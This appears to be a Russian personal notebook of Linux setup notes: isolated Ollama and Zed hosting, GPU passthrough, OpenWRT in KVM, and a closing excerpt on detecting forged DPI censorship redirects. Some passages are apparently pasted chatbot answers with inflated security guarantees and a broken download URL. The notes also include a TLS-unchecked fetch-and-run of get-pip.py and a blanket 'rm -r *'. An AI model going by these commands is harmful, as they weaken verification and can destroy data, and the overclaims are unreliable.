Найдите строку GRUB_CMDLINE_LINUX_DEFAULT и добавьте туда параметры включения IOMMU (для процессоров Intel):
GRUB_CMDLINE_LINUX_DEFAULT="quiet intel_iommu=on iommu=pt"

Обновите конфигурацию: sudo update-grub и перезагрузите сервер.

Шаг 2. Найдите ID видеокарты
Выполните команду lspci -nn | grep -i nvidia. Вы увидите идентификаторы вашей карты, например: [10de:1b80].

Шаг 3. Заблокируйте карту на хосте
Создайте файл конфигурации для драйвера VFIO:

sudo nano /etc/modprobe.d/vfio.conf
options vfio-pci ids=10de:1b80,10de:10f0

Шаг 4. Пробросьте карту в команду запуска QEMU
Теперь при запуске виртуальной машины добавьте в скрипт QEMU устройство вашей видеокарты (указав её PCI-адрес, например 01:00.0):



Внутри виртуалки вам останется лишь установить стандартный драйвер sudo apt install nvidia-driver nvidia-vulkan-icd,
и Ollama автоматически подхватит видеокарту, перенеся 100% тяжелых вычислений ИИ-агента на графический чип.

Запуск в Docker-контейнере
1. Создайте файл docker-compose.yml в папке проекта на сервере:
Чтобы полностью отрезать контейнеры от интернета, мы создадим внутреннюю изолированную сеть internal_net без внешнего шлюза (параметр internal: true).

docker-compose.yml



подключение видеокарты к изолированной Ollama в Docker на сервере
Вот пошаговое руководство, как подключить вашу Tesla P100 к изолированной Ollama в Docker на сервере Debian 13.

Шаг 1. Подготовка сервера хоста ( Debian 13 )Убедитесь, что на самом сервере установлен официальный драйвер NVIDIA и утилита контейнеризации NVIDIA Container Toolkit (она позволяет пробрасывать графические ядра внутрь Docker).
Добавьте официальный репозиторий NVIDIA для вашего пакетного менеджера (или используйте пакеты из ветки non-free Debian 13).Установите инструментарий одной командой:

sudo apt update && sudo apt install -y nvidia-container-toolkit

Перезапустите службу Docker, чтобы она увидела новую среду выполнения (runtime):
sudo systemctl restart docker

Проверьте, что Docker видит вашу карту Tesla P100, запустив тестовый контейнер:
docker run --rm --gpus all nvidia/cuda:12.0.0-base-ubuntu22.04 nvidia-smi

Если на экране появилась таблица со спецификациями Tesla P100 и объемом памяти 16 ГБ, значит, хост-система полностью готова.




Как запустить и перенести модель в первый раз

Поскольку контейнер изолирован от интернета (internal: true), команда ollama run qwen2.5-coder:7b внутри него выдаст ошибку, так как он не сможет скачать 4.7 ГБ файлов модели с серверов Ollama.
Как решить эту проблему (Офлайн-перенос):
Временно закомментируйте строчку internal: true в docker-compose.yml или запустите один раз временный контейнер с интернетом на сервере, чтобы скачать модель в общую локальную папку:

docker run --rm -v ./ollama_data:/root/.ollama --gpus all ollama/ollama run qwen2.5-coder:7b

Как только скачивание завершится (в консоли появится строка ввода >>>), закройте его командой /exit. Файлы модели весом 4.7 ГБ надежно сохранятся в вашей локальной папке ./ollama_data на жестком диске сервера.
Теперь смело запускайте основную изолированную сборку:

docker compose up -d

Вот точные команды, чтобы настроить беспарольный и безопасный вход по SSH-ключу с вашего ноутбука прямо внутрь созданного Docker-контейнера разработки.
Поскольку в нашем файле docker-compose.yml мы пробросили порт контейнера наружу как 2222, настройка выполняется очень легко.Выполните следующие шаги на вашем ноутбуке

Шаг 1. Сгенерируйте отдельный ключ для контейнера
Для безопасности лучше создать отдельный изолированный ключ конкретно для этой среды разработки (даже если у вас уже есть основной ключ для самого сервера):

ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519_docker -C "lenovo-zed-container"

(На запросы парольной фразы нажмите Enter для полностью автоматического входа, либо введите пароль, если хотите защитить ключ, как мы настраивали ранее через ssh-agent).

Шаг 2. Закиньте публичный ключ внутрь контейнераТак как контейнер имеет IP-адрес вашего основного сервера, но слушает порт 2222, отправьте публичную часть ключа (.pub) одной командой с ноутбука:
ssh-copy-id -i ~/.ssh/id_ed25519_docker.pub -p 2222 root@[IP_Вашего_Сервера]

Система попросит ввести пароль от контейнера. Введите тот, который мы указали в файле docker-compose.yml в строке chpasswd (в примере это был your_secure_password).
Скрипт сам зайдет в контейнер, создаст там нужную папку /root/.ssh/ и пропишет ключ в файл authorized_keys.

Шаг 3. Добавьте контейнер в SSH-конфиг ноутбукаЧтобы Zed мог подключаться одной кнопкой, откройте файл конфигурации SSH на ноутбуке:
nano ~/.ssh/config

Добавьте в него отдельный блок для контейнера разработки (с сохранением туннеля для нашей изолированной на Tesla P100 модели Ollama):



(Замените [IP_Вашего_Сервера] на реальный IP-адрес вашей мощной машины).


Как теперь зайти в проект через Zed?
Убедитесь, что контейнеры запущены на сервере (docker compose up -d).
На ноутбуке откройте Zed.Нажмите комбинацию клавиш Alt + Ctrl + Shift + O (Remote Projects).
Выберите Connect New Server и просто введите наш короткий алиас:
textzed-container

Zed мгновенно подключится внутрь изолированного контейнера Debian 13 без пароля, развернет там серверную часть zed-remote-server и откроет файлы из папки /workspace.
По нажатию Ctrl + \ ваш ИИ-агент будет отправлять запросы в туннель, а закрытый контейнер с Ollama задействует всю мощь серверной видеокарты Tesla P100 для генерации кода.


ШАГ 3. НАСТРОЙКА НА СЛАБОМ НОУТБУКЕ

1. Конфигурация SSH (~/.ssh/config)
Пропишите доступ к порту 2222 сервера и настройте автоматический проброс порта ИИ:



2. Глобальные настройки Zed на ноутбуке (settings.json)
Нажмите Ctrl + , на ноутбуке и укажите ИИ-панели смотреть в проброшенный туннель:



3. Настройки проекта внутри виртуалки (.zed/settings.json)
Создайте этот файл на стороне виртуалки в папке с кодом. Он принудительно запретит сетевую активность встроенному агенту и включит локальный clang-format:




КАК ПОЛЬЗОВАТЬСЯ:
Запускаете виртуалку на сервере: ./run_vm.sh.
Открываете Zed на ноутбуке, нажимаете Alt + Ctrl + Shift + O (Remote Projects).
Вводите имя подключения: zed-kvm и нажимаете Enter.
Вы внутри изолированной среды. По нажатию Ctrl + \ запускается ИИ-агент, вычисления идут на CPU сервера, а сеть полностью заблокирована с обеих сторон.

Для настройки и проверки изолированного сетевого моста br-isolated на сервере (хост-машине) и правильного проброса портов в QEMU вам может понадобиться следующая системная информация:
1. Проверка состояния моста и интерфейсов
Чтобы убедиться, что мост создался и активен, используются команды пакета iproute2 (встроен в Debian 13):
ip link show br-isolated — показывает статус интерфейса (должен быть UP).
ip addr show br-isolated — проверяет, успешно ли закрепился за мостом локальный IP-адрес хоста (192.168.100.1/24).

2. Права доступа для QEMU (Пакет qemu-bridge-helper)
По умолчанию QEMU из соображений безопасности не может сам подключаться к сетевым мостам без прав sudo. Чтобы запускать скрипт run_vm.sh от обычного пользователя, вам понадобятся:
Проверить путь к системному помощнику (обычно в Debian это /usr/lib/qemu/qemu-bridge-helper).
Разрешить мост в конфигурационном файле. Для этого нужно создать файл /etc/qemu/bridge.conf и внести туда строку:

allow br-isolated

Задать правильные права на сам хелпер:
sudo chmod 4755 /usr/lib/qemu/qemu-bridge-helper.

3. Настройка IP-адреса внутри самой виртуалки

Так как мост изолирован, внутри него нет DHCP-сервера, который бы автоматически выдавал IP-адреса. Вам понадобится настроить статический IP внутри гостевой ОС Debian 13.
Внутри виртуалки в файле /etc/network/interfaces нужно будет прописать:



4. Проверка проброса портов (Port Forwarding)
Чтобы убедиться, что QEMU успешно слушает порт 2222 на хост-машине и туннелирует его на порт 22 виртуалки, на самом сервере пригодится команда контроля сокетов:
ss -tlnp | grep 2222 — она должна показать, что процесс qemu-system успешно занял (слушает) этот порт на сервере.

5. Логирование и диагностика
Если ноутбук выдает ошибку Connection refused при попытке подключиться к zed-kvm, на хост-сервере полезно заглянуть в системный лог ядра, чтобы понять, не заблокировал ли трафик встроенный межсетевой экран (iptables/nftables):
sudo dmesg | grep -i br-isolated



работа с агентом
https://github.com/ollama/ollama/releases
https://docs.ollama.com/linux
https://huggingface.co/docs/huggingface_hub/main/en/guides/upload
https://pinggy.io/blog/how_to_self_host_any_llm_step_by_step_guide/

скачать qwen2.5-coder-7b


Qwen2.5-Coder:7B
Назначение: Написано специально для программирования, отладки и работы с алгоритмами.
Llama 3.1:8B
Назначение: Универсальная модель общего назначения от Meta.

https://huggingface.co/Qwen/Qwen2.5-Coder-7B-Instruct-GGUF/tree/main
https://huggingface.co/bartowski/Meta-Llama-3.1-8B-Instruct-GGUF/tree/main
https://huggingface.co/bartowski/Mistral-7B-Instruct-v0.3-GGUF/tree/main
https://huggingface.co/bartowski/DeepSeek-R1-Distill-Qwen-7B-GGUF/tree/main

========================================================================================
МОДЕЛЬ ВЕС ФАЙЛА МИН. ПАМЯТЬ РЕКОМЕНДУЕМАЯ ПАМЯТЬ КОНТЕКСТ СКОРОСТЬ
========================================================================================
Gemma 2 (2B) - It ~1.6 ГБ 4 ГБ ОЗУ 8 ГБ ОЗУ / VRAM 8k 🚀 Молния
Gemma 3 (4B) - It ~2.6 ГБ 6 ГБ ОЗУ 8-12 ГБ ОЗУ / VRAM 32k ⚡ Быстро
Gemma 4 (E4B) - It ~4.5 ГБ 6 ГБ ОЗУ 12-16 ГБ ОЗУ / VRAM 128k+ 🐢 Средне
========================================================================================

скромные требования
https://huggingface.co/google/gemma-2-2b-it-GGUF/tree/main

на ПК со слабыми параметрами выставляйте в настройках (Ollama / LM Studio) размер контекста в 2048 или 4096
Используйте SSD. Если у вас нет мощной видеокарты (VRAM) и модель будет работать за счет обычной оперативной памяти (ОЗУ), файл модели должен лежать на SSD-диске. На старых HDD модель будет думать по минуте над каждым словом.
Ищите QAT-кванты. При скачивании с Hugging Face ищите файлы с пометкой qat-q4_0 (Quantization-Aware Training). Google обучает их по специальной технологии, благодаря чему они весят как сильно сжатые файлы, но выдают точность как полноценные «тяжелые» модели

скачать Meta-Llama-3.1-8B



.gguf — это название единого бинарного формата файлов, специально созданного для локального запуска нейросетей на обычных процессорах (CPU) и видеокартах (GPU) через программы вроде Ollama или llama.cpp. Внутри этого одного файла упакованы абсолютно все слои нейросети, её архитектура и текстовый токенизатор

.Q4_K_M — это тип квантования (степень сжатия весов). «Чистая» модель без сжатия весит около 16 ГБ и требует огромной видеопамяти.
Версия Q4_K_M сжата до 4 бит с использованием умного алгоритма, который уменьшает размер файла до ~4.7 ГБ практически без потери качества ответов. Буква M означает «Medium» (средний, самый сбалансированный размер).

Приставка -it означает Instruction-Tuned. Модель обучена понимать команды человека, общаться в формате «вопрос-ответ» и строго выполнять технические задания.

Для запуска Ollama на ноутбуке ребования зависят исключительно от размера (количества параметров) модели, которую вы выберете.
Для комфортного программирования не нужны гигантские модели. Достаточно легковесных и умных кодинг-моделей вроде Qwen 2.5 Coder (1.5B или 7B) или DeepSeek Coder (1.5B или 6.7B).


Сценарий 1. Модели класса 1.5B (Рекомендуется для слабых и средних ноутбуков)
Примеры: qwen2.5-coder:1.5b, deepseek-coder:1.5b
Это идеальный вариант для вашего ноутбука, если вы хотите, чтобы ИИ работал мгновенно, не шумел вентиляторами и не тормозил систему.
Оперативная память (RAM): нужно всего около 2 ГБ свободного места в ОЗУ.
Вместе с запущенным Zed общие затраты составят менее 2.5 ГБ.
Место на диске: модель занимает всего ~1.1 ГБ.
Нагрузка на CPU: минимальная. Процессор Intel Raptor Lake будет генерировать текст со скоростью человеческого чтения или даже быстрее, практически не нагревая ноутбук.

Сценарий 2. Модели класса 7B (Для более сложных задач и развернутых ответов)
Примеры: qwen2.5-coder:7b, llama3.1:8b
Эти модели думают глубже и пишут более сложные алгоритмы, но требуют больше ресурсов.

Оперативная память (RAM):
требуется минимум 6–8 ГБ свободной ОЗУ строго под модель. Если на вашем ноутбуке всего 8 ГБ оперативной памяти, то системе станет тяжело. Если 16 ГБ — будет работать отлично.
Место на диске: файлы модели занимают от 4.5 до 5 ГБ.
Нагрузка на CPU: высокая. Процессор будет загружен на 100% во время генерации ответа, ноутбук начнет активно охлаждаться, а скорость вывода текста составит примерно 10–15 слов в секунду (что вполне комфортно для чтения, но медленнее, чем 1.5B).

Требования к памяти для Gemma-2-9B (квант Q4_K_M)
Для комфортной работы вам понадобится:
Оперативная память (ОЗУ/VRAM): Минимум 8 ГБ свободной памяти (лучше 12–16 ГБ, чтобы оставался запас под операционную систему и браузер).
Вес самого файла: Около 5.5 – 6.0 ГБ на жестком диске (SSD крайне рекомендован, на HDD модель будет сильно «заикаться» при генерации).

Общие требования к самому движку Ollama
Сам фоновый сервис Ollama в режиме ожидания (когда вы ничего не спрашиваете у ИИ) потребляет 0% CPU и всего около 50–100 МБ оперативной памяти. Она автоматически выгружает модель из ОЗУ в кэш через 5 минут бездействия, чтобы освободить память для вашей системы.

Шаг 1. Ручная установка Ollama (Без скриптов)
Поскольку вы настороженно относитесь к автоскриптам, установим Ollama самым прозрачным ручным способом через официальный бинарный файл.
Скачайте официальный архив движка для Linux в терминале:
curl -L https://ollama.com -o ollama-linux-amd64.tgz

Распакуйте его в уже созданную ранее локальную директорию ~/.local:
tar -C ~/.local -xzf ollama-linux-amd64.tgz

Проверьте, что утилита доступна:
ollama --version

Шаг 2. Запуск сервиса Ollama
Для работы ИИ утилита должна работать в фоновом режиме. Запустите сервер вручную в отдельной вкладке терминала (или в фоне):
ollama serve

(Оставьте этот терминал открытым. Сервер будет слушать локальный порт 127.0.0.1:11434).


Шаг 3. Скачивание лучшей модели для Python
Откройте новое окно терминала и скачайте специализированную модель qwen2.5-coder:7b (на данный момент это лучшая открытая модель для написания кода, превосходящая многие коммерческие аналоги):
ollama run qwen2.5-coder:7b

Начнется скачивание файла размером около 4.7 ГБ.
По завершении появится строка ввода >>>. Можете написать туда любой тестовый вопрос по Python, чтобы проверить скорость работы вашего процессора Intel Raptor Lake.
Для выхода из режима диалога введите /exit.

Шаг 4. Подключение Ollama к редактору Zed
Теперь заставьте встроенного агента Zed отправлять запросы в запущенную Ollama вместо облака.
Нажмите Ctrl + , чтобы открыть настройки settings.json.
Добавьте в конфигурационный JSON-файл блок интеграции с Ollama:



Пример промпта

Шаг 1. Отправляем запрос в панель ассистента ZedНажмите Ctrl + \ (откроется панель Assistant) и введите следующий запрос (модель отлично понимает русский язык):
«Напиши небольшую программу на языке Си, которая считывает данные из /proc/stat и высчитывает реальный процент загрузки процессора (CPU) раз в секунду.
Также напиши Bash-скрипт, который автоматически скомпилирует этот Си-файл через gcc, запустит его и проверит, установлена ли в системе утилита gcc. Если gcc нет, скрипт должен вывести ошибку.»

Шаг 2. Что сгенерирует модельМодель выдаст два независимых блока кода прямо в окно чата.
Блок 1. Код на Си (cpu_monitor.c)
Блок 2. Скрипт автоматизации на Bash (run.sh)

Шаг 3. Как запустить этот пример в Zed?
Поскольку модель выдаст готовые блоки, вы можете применить магию Zed AI:
Создайте в проекте пустой файл cpu_monitor.c и run.sh.
В окне чата ИИ нажмите кнопку «Insert into file» (или значок стрелочки поверх кода), и модель сама вставит текст в нужные вкладки.
Откройте встроенный терминал в Zed (Ctrl + ~), сделайте скрипт исполняемым (chmod +x run.sh) и запустите его: ./run.sh.
Модель полностью закроет вашу задачу: от логики работы с памятью в Си до системных проверок в Debian на Bash.

Точечное управление контекстом (Слеш-команды)
Чтобы модель не тратила лишние токены и не путалась в огромном проекте, вы можете явно «скармливать» ей нужные куски системы с помощью быстрых слеш-команд в чате:
https://datalakehousehub.com/blog/2026-03-context-management-zed/

/file [путь] — передать агенту содержимое конкретного файла
/tab — прикрепить код из всех открытых сейчас вкладок
/diagnostics — автоматически передать агенту все текущие ошибки компиляции или предупреждения от вашего Python LSP, чтобы он их исправил
/search [запрос] — запустить поиск по проекту и отдать ИИ результаты.

Для вызова агента используется панель Assistant Panel (хоткей Ctrl + Shift + ? или Ctrl + \).

изоляция агента
Безопасность (за счет утилиты Bubblewrap)
Поскольку агент имеет доступ к терминалу и может выполнять команды, бинарник zed-bwrap изолирует агента в «песочнице».
Вы можете гибко настраивать профили безопасности (Profiles):
Write — агенту разрешено всё (читать, писать, запускать тесты).
Ask — режим «только чтение» (агент видит код, отвечает на вопросы, но физически не может изменить ни одного файла на диске).
Minimal — режим обычного чата без доступа к вашей системе

Если ваш сервер имеет выход в интернет, но вы хотите полностью заблокировать агенту Zed доступ в сеть, это можно сделать со стопроцентной гарантией.
Так как вы устанавливаете бинарные файлы вручную, мы можем задействовать встроенный в ядро Linux механизм пространств имен (Namespaces).
Утилита bubblewrap (zed-bwrap), которую мы настроили на сервере, создана как раз для этого.
По умолчанию она изолирует ИИ, но если запустить её со специальным флагом, ядро Linux создаст для процесса агента персональную сетевую заглушку, полностью отрезав его от реальных сетевых интерфейсов сервера.

Вот как это настроить в зависимости от того, как вы запускаете задачи и Ollama:
Вариант 1. Автоматическая блокировка сети через настройки Zed
Разработчики Zed встроили управление сетевым доступом агента прямо в конфигурацию.
Чтобы запретить встроенному агенту (zed-bwrap) на сервере выходить в интернет, откройте файл настроек проекта на сервере .zed/settings.json и добавьте туда строгий профиль безопасности:



Флаг --unshare-net — это системная команда для ядра Linux. Она создает для агента пустое сетевое пространство имен (внутри которого есть только виртуальная петля lo без маршрутов наружу).
Агент физически не сможет отправить в интернет ни один байт вашего кода.

Вариант 2. Изоляция самого движка Ollama на сервере
Даже если агент заблокирован, сама модель Ollama на сервере теоретически может иметь доступ в сеть (например, для проверки обновлений моделей).
Если вы хотите, чтобы Ollama на сервере тоже была полностью слепа к интернету, запускайте её через системную утилиту unshare:
unshare -n -r ollama serve

Флаг -n (--net) полностью изолирует сетевой стек процесса.
Флаг -r (--map-root-user) позволит запустить процесс без прав sudo.

В таком режиме Ollama будет доступна строго локально для вашего текстового редактора Zed (через внутренний сокет/петлю 127.0.0.1), но не сможет связаться ни с одним внешним сайтом в интернете.

Вариант 3. Если агент запускает Bash-скрипты через Tasks
Если вы боитесь, что агент напишет Bash-скрипт (например, через нашу систему задач tasks.json) и этот скрипт попытается что-то скачать из сети,
добавьте утилиту unshare прямо в команду запуска вашей задачи на сервере:



При такой конфигурации, даже если ИИ-агент сгенерирует вредоносный Python-код с инструкцией urllib.request.urlopen(),
при нажатии Super + Z этот код запустится в сетевом вакууме и упадет с ошибкой Network is unreachable, защитив ваши данные на 100%.
Какой из вариантов защиты вы хотите применить — ограничить только встроенного агента через настройки Zed или полностью изолировать службу Ollama на сервере с помощью команды unshare?
Напишите, и если выберете unshare, я помогу оформить её в виде удобного ярлыка запуска для сервера.


Шаг 1. Настройка встроенного агента Zed (через настройки)
Добавьте флаг песочницы --unshare-net в конфигурационный файл проекта на сервере.
Откройте или создайте файл .zed/settings.json на сервере и пропишите:



Этот параметр заставит системный бинарник zed-bwrap полностью отключить сеть для ИИ-агента в момент его инициализации.

Шаг 2. Изоляция службы Ollama (через Systemd)
Поскольку Ollama должна постоянно работать на сервере в фоновом режиме, лучше всего оформить её запуск без сети через системную службу Systemd.
Это гарантирует, что даже после перезагрузки сервера ИИ запустится автоматически и будет на 100% отрезан от интернета.
Поскольку мы настраиваем всё вручную и без лишних системных прав, создадим пользовательскую службу (User Service):
Создайте папку для пользовательских служб на сервере:

mkdir -p ~/.config/systemd/user/

Создайте файл конфигурации службы:
vim ~/.config/systemd/user/ollama-isolated.service



(Замените /home/имя_пользователя/ на ваш реальный путь к домашней директории на сервере, где лежит бинарник ollama).

Перезапустите менеджер служб и включите автозапуск:
# Обновляем конфигурацию системного демона
systemctl --user daemon-reload

# Включаем и запускаем изолированную Ollama
systemctl --user enable ollama-isolated.service
systemctl --user start ollama-isolated.service

Как проверить, что всё сработало?
Проверка Ollama: Выполните на сервере команду просмотра статуса службы:

systemctl --user status ollama-isolated.service

Если служба активна (running), попробуйте изнутри её процесса постучаться в сеть. Для этого посмотрите её лог.
Ollama при старте всегда пытается проверить наличие обновлений.
В логах вы увидите ошибки вроде dial tcp: lookup ollama.com: Temporary failure in name resolution. Это значит, что изоляция работает успешно.

Проверка связи с ноутбуком:
Несмотря на то, что Ollama полностью изолирована от интернета, ваш ноутбук по-прежнему сможет общаться с ней благодаря нашему SSH-туннелю (LocalForward),
так как SSH подключается к вашему пользователю, у которого есть доступ к локальному сокету службы.

Команда loginctl enable-linger исправляет стандартное поведение Debian, при котором система автоматически завершает все фоновые процессы и службы пользователя (включая запущенную нами Ollama),
как только вы закрываете SSH-сессию или отключаетесь от сервера.
Когда вы включаете режим «задерживания» (lingering), система выделяет вашему пользователю постоянный независимый менеджер служб.
Ollama продолжит работать и отвечать на запросы ИИ-агента Zed, даже если ваш ноутбук выключен, а SSH-соединение разорвано.
Выполните эту команду на вашем мощном сервере:

sudo loginctl enable-linger имя_пользователя

Как проверить, что режим активирован?
Чтобы убедиться, что сервер теперь не закроет Ollama после вашего ухода, выполните диагностическую команду:

loginctl user-status имя_пользователя

В выводе терминала найдите строчку Linger: yes. Если она присутствует, настройка завершена.
Теперь вы можете смело закрывать терминал на ноутбуке — изолированный искусственный интеллект на сервере будет работать непрерывно в режиме 24/7.

Запуск серверной части Zed и Ollama внутри Docker или виртуалки QEMU/KVM на сервере даст вам максимальный уровень изоляции (даже выше, чем утилиты unshare и bwrap на голом железе).
Вы сможете полностью контролировать сетевые интерфейсы на уровне виртуального коммутатора и гарантировать, что код проекта не покинет контейнер.



1) скачать свежий перевод https://translations.launchpad.net/codeblocks/trunk/+pots/codeblocks/ru/+details для этого надо залогиниться в https://login.launchpad.net/ перевод придёт по почте
2) конвентировать .po в .mo
msgfmt _codeblocks-ru.po -o codeblocks-ru.mo
3) sudo mkdir -p /usr/share/codeblocks/locale/ru_RU
4) sudo cp codeblocks-ru.mo /usr/share/codeblocks/locale/ru_RU/
4) Settings->Environment->View->Internalization (поставить галочку)-> там где Available languages выбрать Russian
5) перезапустить программу



развернуть
чтоб не забыть, некоторые команды vim




настройка конфига
vim $HOME/.vimrc или vim $HOME/.vim/vimrc




http://dev-tricks.ru/2016/05/07/nemnogo-o-vim-goryachie-klavishi/
список самых часто используемых вещей:
1. Навигация - hjkl, :[номер строки], g, GG
2. Редактирование - i, a, dw, x, cw, r
3. Поиск и замена - /, :%s/что/чем/gc
4. Бинды - :map :make
5. Настройки - ts, sw, et, cc, lst, number, ruler, incsearch

конфиги, схемы
http://bytefluent.com/vivify/

http://sysdev.me/wp-content/uploads/2013/08/vimrc.txt
Удобный Vim
Vim как IDE для разработки на Python
http://najomi.org/vim
https://ru.wikibooks.org/wiki/Vim
http://eax.me/vim-commands/
5 плагинов Vim, делающих из него IDE
Полезные плагины для Vim. Часть 2
https://wiki.archlinux.org/index.php/Vim_(Русский)
http://vim-scripts.org/vim/scripts.html
https://github.com/junegunn/vim-plug
Python’им в Vim
Минимум один трюк Vim, про который вы не знали

http://spacemacs.org/
https://www.emacswiki.org/emacs/VimMode


кстати, насчёт emacs
http://www.informatimago.com/linux/emacs-on-user-mode-linux.html
http://www.howardism.org/Technical/Emacs/new-window-manager.html
https://writequit.org/eos/eos.html

https://tuhdo.github.io/
http://ergoemacs.org/index.html
https://github.com/hlissner/doom-emacs
https://github.com/emacs-tw/awesome-emacs
https://github.com/bbatsov/prelude

https://www.gnu.org/software/emacs/
https://dev.to/huytd/emacs-from-scratch-1cg6
https://github.com/noctuid/evil-guide#emacsevil-for-vim-users
https://company-mode.github.io/
https://github.com/abo-abo/swiper
https://github.com/emacs-helm/helm
https://github.com/jwiegley/use-package




1) скачивается образ отсюда




2) запускается витруальный сетевой интерфейс

sudo virsh net-start default

который можно погасить командой

sudo virsh net-destroy default

посмотреть запущенный вирт.сетевые интерфейсы можно командой

sudo virsh net-list


сами настройки виртуального дефолтного сетевого интерфейса находится в файле
/etc/libvirt/qemu/networks/default.xml

и представляют собой запись



можно создать свой вирт. сетевой интерфейс, со своими настройками, напр:

sudo nano /etc/libvirt/qemu/networks/def1.xml



затем

sudo virsh net-create /etc/libvirt/qemu/networks/def1.xml


3) В Virtual Machine Manager выбирается "Импорт существующего диска" и ставится чекбокс "изменить настройки перед установкой".

В Видео выбирается модель VGA, добавляется несколько виртуальных сетевых интерфейсов и выбирается модель virtio, также желательно добавить дополнительный виртуальный жёсткий диск, 300 - 500 Мб более чем достаточно

4) после загрузки необходимо сконфигурировать выход в сеть, для этого необходимо внести правку в файл /etc/config/network
поскольку в запущенном ранее дефолтном витр. сетевом интерфейсе ip address="192.168.122.1" то и настройки будут соответствующие


vi /etc/config/network




чтобы применить изменения необходимо выполнить команду

/etc/init.d/network restart


чтоб не забыть, команды vi




5) после всего этого в OpenWRT можно получить доступ через телнет
telnet 192.168.122.5 или открыв в браузере адрес http://192.168.122.5

в случае успеха обновить пакеты

opkg update

или поставить mc

opkg install mc

Для правильной работы MC, перед запуском нужно выполнить:

export TERMINFO="/usr/share/terminfo"
export TERM="xterm"
mc


Но что бы каждый раз не писать эти строчки перед запуском, то лучше прописать их в файле profile:

vi /etc/profile
export TERMINFO=/usr/share/terminfo
export TERM=xterm


opkg list покажет всё что можно установить ещё

после всех этих действий необходимо сменить пароль командой passwd
если, после неоднократных экспериментов, возникнет ошибка
WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! то

ssh-keygen -f "$HOME/.ssh/known_hosts" -R 192.168.122.5

Прочие действия:

если возникнет необходимость увеличить файл образа, то

truncate --size=+50M Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img

затем нужно добавить раздел, в увеличенную область (при увеличении существующей будут ошибки)

sudo parted Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img

но удобней сделать так:

sudo losetup -f Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img
sudo losetup -a Download/iso/openwrt-15.05.1-x86-kvm_guest-combined-ext4.img

sudo gparted /dev/loop0

sudo losetup -d /dev/loop0

после манипуляций, завустить и зайти по ssh

ssh root@192.168.122.5

и установить нужное




затем сгенерировать fstab





отредактировать fstab

vi /etc/config/fstab




(это тоже пригодится)
mkswap -f -L swap /dev/sda2
mkfs.ext4 -L over /dev/sda1
-L присвоение label
"swap" - метка для /dev/sda2
"over" - метка назначается разделу /dev/sda1

reboot
после перезагрузки




установка pip

wget --no-check-certificate https://bootstrap.pypa.io/get-pip.py

ошибка
wget: can't execute 'openssl': No such file or directory

opkg install ca-certificates openssl-util libustream-openssl

python3 get-pip.py

ошибка
distutils.errors.DistutilsPlatformError: invalid Python installation: unable to open /usr/lib/python3.4/config-3.4/Makefile (No such file or directory)

этот способ работает:




если возникает ошибка
OSError: [Errno 28] No space left on device

то
cd /tmp/; rm -r *

установка всех вышеперечисленных пакетов одной командой:



PS
помучившись с кучей косяков (utf8, шрифты в консоли и тд), понял, что лучше так:

https://lede-project.org/





запускаем и настраиваем, затем ставим python и pip
opkg update; opkg install libopenssl libustream-openssl mc python3

wget https://bootstrap.pypa.io/get-pip.py

настройка vlan
Как устанавливать пакеты приложений?
OpenWRT(с OpenVPN) на TL-WR740N. Как добавить vlan.
Команды операционной системы OpenWRT

PPS
в случае с древними версиями openwrt, например attitude_adjustment в которой есть пакет openswan, нужный ради старых настроек ipsec, необходимо кроме настроек интернета, также разрешить порты iptables, по умолчанию в котором всё блокировано, настроим интернет

vi /etc/config/network



/etc/init.d/network restart

затем фрайвол

vi /etc/firewall.user



/etc/init.d/firewall restart

в QEMU (и virt-manager соответственно) при использовании старых релизов openwrt, в настройках виртуальных сетевых интерфейсов вместо модели virtio выбирается pcnet или ne2k_pci, драйверов virtio в них нет


https://wiki.openwrt.org/doc/howto/wget-ssl-certs
https://forum.arduino.cc/index.php?topic=347224.15
https://wiki.openwrt.org/ru/doc/uci/fstab
https://www.stableit.ru/2012/06/kvm-ext4.html
https://wiki.openwrt.org/ru/doc/howto/extroot
http://cyber-place.ru/showthread.php?t=371&page=3
Настройка сети в OpenWRT
Открытие доступа на openwrt из интернета
Управление виртуальными машинами с помощью virsh
Создаем изолированную сеть для виртуальных машин KVM
Работа с KVM в Debian или Ubuntu из командной строки
uzverss работа с сетевыми интерфейсами





Провайдеры Российской Федерации, в большинстве своем, применяют системы глубокого анализа трафика (DPI, Deep Packet Inspection) для блокировки сайтов, внесенных в реестр запрещенных. Не существует единого стандарта на DPI, есть большое количество реализации от разных поставщиков DPI-решений, отличающихся по типу подключения и типу работы.



Существует два распространенных типа подключения DPI: пассивный и активный.



Пассивный DPI

Пассивный DPI — DPI, подключенный в провайдерскую сеть параллельно (не в разрез) либо через пассивный оптический сплиттер, либо с использованием зеркалирования исходящего от пользователей трафика. Такое подключение не замедляет скорость работы сети провайдера в случае недостаточной производительности DPI, из-за чего применяется у крупных провайдеров. DPI с таким типом подключения технически может только выявлять попытку запроса запрещенного контента, но не пресекать ее. Чтобы обойти это ограничение и заблокировать доступ на запрещенный сайт, DPI отправляет пользователю, запрашивающему заблокированный URL, специально сформированный HTTP-пакет с перенаправлением на страницу-заглушку провайдера, словно такой ответ прислал сам запрашиваемый ресурс (подделывается IP-адрес отправителя и TCP sequence). Из-за того, что DPI физически расположен ближе к пользователю, чем запрашиваемый сайт, подделанный ответ доходит до устройства пользователя быстрее, чем настоящий ответ от сайта.



Выявляем и блокируем пакеты пассивного DPI

Поддельные пакеты, формируемые DPI, легко обнаружить анализатором трафика, например, Wireshark.

Пробуем зайти на заблокированный сайт:

Wireshark



Мы видим, что сначала приходит пакет от DPI, с HTTP-перенаправлением кодом 302, а затем настоящий ответ от сайта. Ответ от сайта расценивается как ретрансмиссия и отбрасывается операционной системой. Браузер переходит по ссылке, указанной в ответе DPI, и мы видим страницу блокировки.



Рассмотрим пакет от DPI подробнее:

image



HTTP/1.1 302 Found
Connection: close
Location: http://warning.rt.ru/?id=17&st=0&dt=195.82.146.214&rs=http%3A%2F%2Frutracker.org%2F


В ответе DPI не устанавливается флаг «Don't Fragment», и в поле Identification указано 1. Серверы в интернете обычно устанавливают бит «Don't Fragment», и пакеты без этого бита встречаются нечасто. Мы можем использовать это в качестве отличительной особенности пакетов от DPI, вместе с тем фактом, что такие пакеты всегда содержат HTTP-перенаправление кодом 302, и написать правило iptables, блокирующее их:

